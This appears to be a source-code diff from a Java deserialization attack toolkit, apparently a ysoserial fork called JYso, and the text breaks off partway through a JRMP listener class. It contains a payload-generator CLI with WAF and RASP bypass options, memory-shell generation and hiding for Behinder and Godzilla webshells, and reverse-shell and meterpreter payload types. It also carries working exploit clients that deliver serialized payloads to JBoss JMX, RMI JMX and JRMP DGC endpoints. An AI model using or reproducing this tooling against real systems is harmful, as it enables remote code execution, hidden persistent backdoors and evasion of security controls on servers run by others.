}
if (cmdLine.hasOption("cmd-header")) {
Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
}
if (cmdLine.hasOption("url")) {
String url = cmdLine.getOptionValue("url");
if (!url.startsWith("/")) {
url = "/" + url;
}
Config.URL_PATTERN = url;
}
if (cmdLine.hasOption("define-class-from-parameter")) {
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
}
if (cmdLine.hasOption("file")) {
Config.WRITE_FILE = true;
Config.FILE = cmdLine.getOptionValue("file");
}
if (cmdLine.hasOption("base64")) {
Config.BASE64 = true;
}
if (cmdLine.hasOption("password")) {
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
}
if (cmdLine.hasOption("godzilla-key")) {
Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
}
if (cmdLine.hasOption("header-key")) {
Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
}
if (cmdLine.hasOption("header-value")) {
Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
}
if (cmdLine.hasOption("no-com-sun")) {
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
}
if (cmdLine.hasOption("mozilla-class-loader")) {
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
}
if (cmdLine.hasOption("rhino")) {
Config.USING_RHINO = true;
}
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
Config.IS_UTF_Bypass = true;
}
if (cmdLine.hasOption("Hessian1")) {
Config.IS_Hessian1 = true;
}
if (cmdLine.hasOption("Hessian2")) {
Config.IS_Hessian2 = true;
}
if(cmdLine.hasOption("XStream")){
Config.IS_Xstream = true;
}
if(cmdLine.hasOption("Kryo")){
Config.IS_Kryo = true;
}
if(cmdLine.hasOption(("JYaml"))){
Config.IS_JYAML = true;
}
if(cmdLine.hasOption("JsonIO")){
Config.IS_JsonIO = true;
}
if(cmdLine.hasOption("YamlBeans")){
Config.IS_YamlBeans = true;
}
if(cmdLine.hasOption("Castor")){
Config.IS_Castor = true;
}
if(cmdLine.hasOption("Jackson")){
Config.IS_Jackson = true;
}
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
if (cmdLine.hasOption("gen-mem-shell-name")) {
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
}
}
if (cmdLine.hasOption("hide-mem-shell")) {
Config.HIDE_MEMORY_SHELL = true;
if (cmdLine.hasOption("hide-type")) {
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
}
}
final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters");
//载入gadget
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
System.exit(1);
return;
}
try {
//载入payload
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(command);
// 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap();
}
// 储存生成的 payload
PAYLOAD = object;
if (isFromExploit()) {
return;
}
OutputStream out;
if (Config.WRITE_FILE) {
out = new FileOutputStream(Config.FILE);
} else {
out = System.out;
}
Serializer.qiserialize(object, out,payloadType,command);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(1);
}
System.exit(0);
}
private static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget");
options.addOption("p", "parameters", true, "Gadget parameters");
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAFtype: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
options.addOption("he1", "Hessian1", false, "Hessian1 Output");
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
options.addOption("b64", "base64", false, "base64 encoding");
options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output");
options.addOption("js","JsonIO", false, "JsonIO Output");
options.addOption("yb","YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output");
return options;
}
private static void printUsage(Options options) {
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
System.err.println("\r\n");
HelpFormatter helpFormatter = new HelpFormatter();
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
helpFormatter.printHelp("JYso-[version].jar", options, true);
System.err.println("\r\n");
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely shortyou could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
System.exit(0);
}
}
@@ -0,0 +1,8 @@
package com.qi4l.JYso.enumtypes;
public enum GadgetType {
base64Two,
msf,
base64,
shell,
}
@@ -0,0 +1,47 @@
package com.qi4l.JYso.enumtypes;
public enum PayloadType {
sethttp,
dnslog,
tomcatupgrade,
command,
reverseshell,
tomcatecho,
springecho,
weblogicecho,
windowsecho,
linuxecho2,
linuxecho1,
allecho,
websphereecho,
resinecho,
tomcatfilterjmx,
tomcatfilterth,
tomcatlistenerjmx,
tomcatlistenerth,
tomcatservletjmx,
tomcatservletth,
jbossfilter,
jbossservlet,
webspherememshell,
springinterceptor,
springcontroller,
issuccess,
jettyfilter,
jettyservlet,
struts2actionms,
wsfilter,
tomcatexecutor,
meterpreter,
resinfilterth,
resinservletth,
jbossecho,
jettyecho,
cmsmsbync,
proxymsbync,
wsresin,
mstsjproxy,
mstsjser,
wsweblogic,
wswebsphereproxy,
}
@@ -0,0 +1,7 @@
package com.qi4l.JYso.enumtypes;
public enum WebsphereActionType {
list,
upload,
rce;
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException() {
super();
}
public IncorrectParamsException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() {
super();
}
public UnSupportedActionTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException() {
super();
}
public UnSupportedGadgetTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException() {
super();
}
public UnSupportedPayloadTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,385 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.*;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.*;
import org.xnio.IoFuture.Status;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import javax.management.*;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.*;
import javax.security.sasl.RealmCallback;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
/**
* An exploitation client for JBoss AS/Wildfly JMX
* <p>
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
* <p>
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* <p>
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
* <p>
* I.e. you can succesfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitely use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes"
})
public class JBoss {
public static void main(String[] args) throws Exception {
if (args.length < 5) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
System.exit(-1);
}
URI u = URI.create(args[0]);
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
String username = null;
String password = null;
if (u.getUserInfo() != null) {
int sep = u.getUserInfo().indexOf(':');
if (sep >= 0) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
} else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
}
private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
} catch (Throwable e) {
e.printStackTrace(System.err);
} finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc) {
if (vc != null) {
vc.close();
}
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (ch != null) {
try {
ch.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (instance != null) {
try {
instance.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (context != null) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
for (Callback cb : callbacks) {
if (cb instanceof NameCallback) {
((NameCallback) cb).setName(username);
} else if (cb instanceof PasswordCallback) {
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
} else if (!(cb instanceof RealmCallback)) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) {
System.err.println("Cannot connect");
if (ioFuture.getException() != null) {
ioFuture.getException().printStackTrace(System.err);
}
} else if (s != Status.DONE) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
return chf;
}
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if (s2 == Status.FAILED) {
System.err.println("Cannot connect");
if (cFuture.getException() != null) {
throw new IOException("Connect failed", cFuture.getException());
}
} else if (s2 != Status.DONE) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[0] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for (ObjectInstance oi : testMBeans) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
} catch (Throwable e) {
String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
int cstart = msg.indexOf(':');
int cend = msg.indexOf(' ', cstart + 2);
String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
}
} else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish(LogRecord record) {
System.err.println(record.getMessage());
}
@Override
public void flush() {
}
@Override
public void close() throws SecurityException {
}
}
@SuppressWarnings({"deprecation"})
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
this.context = context;
}
public void remoteClosed() {
}
public OpenListener getServiceOpenListener(String serviceType) {
return null;
}
public RegisteredService getRegisteredService(String serviceType) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext() {
return this.context;
}
public Connection getConnection() {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private XnioWorker worker;
private ExecutorService executor;
private Xnio instance;
private Endpoint endpoint;
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
}
});
}
public XnioWorker getXnioWorker() {
return this.worker;
}
public Xnio getXnio() {
return this.instance;
}
public Executor getExecutor() {
return this.executor;
}
public Endpoint getEndpoint() {
return this.endpoint;
}
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
System.err.println("accept");
}
}
}
@@ -0,0 +1,45 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if (args.length < 6) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
@@ -0,0 +1,48 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.JRMPClient;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
* <p>
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
* <p>
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link JRMPClient}.
* <p>
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
* <p>
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*/
public class JRMPClassLoadingListener {
public static final void main(final String[] args) {
if (args.length < 3) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,134 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
/**
* Generic JRMP client
* <p>
* Pretty much the same thing as {@link RMIBindExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPClient {
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
System.exit(-1);
}
String hostname = args[0];
int port = Integer.parseInt(args[1]);
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = "";
for (URL u : us) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
@@ -0,0 +1,293 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
/**
* Generic JRMP listener
* <p>
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
System.exit(-1);
return;
}
// 去除第一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject(String className) {
try {
ClassLoader isolation = new ClassLoader() {
};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
}
System.err.println("Waiting for connection");
synchronized (this.waitLock) {
this.waitLock.wait(i);
}
return this.hadConnection;
} catch (InterruptedException e) {
return false;
}
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException e) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.err.println("Closing connection");
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
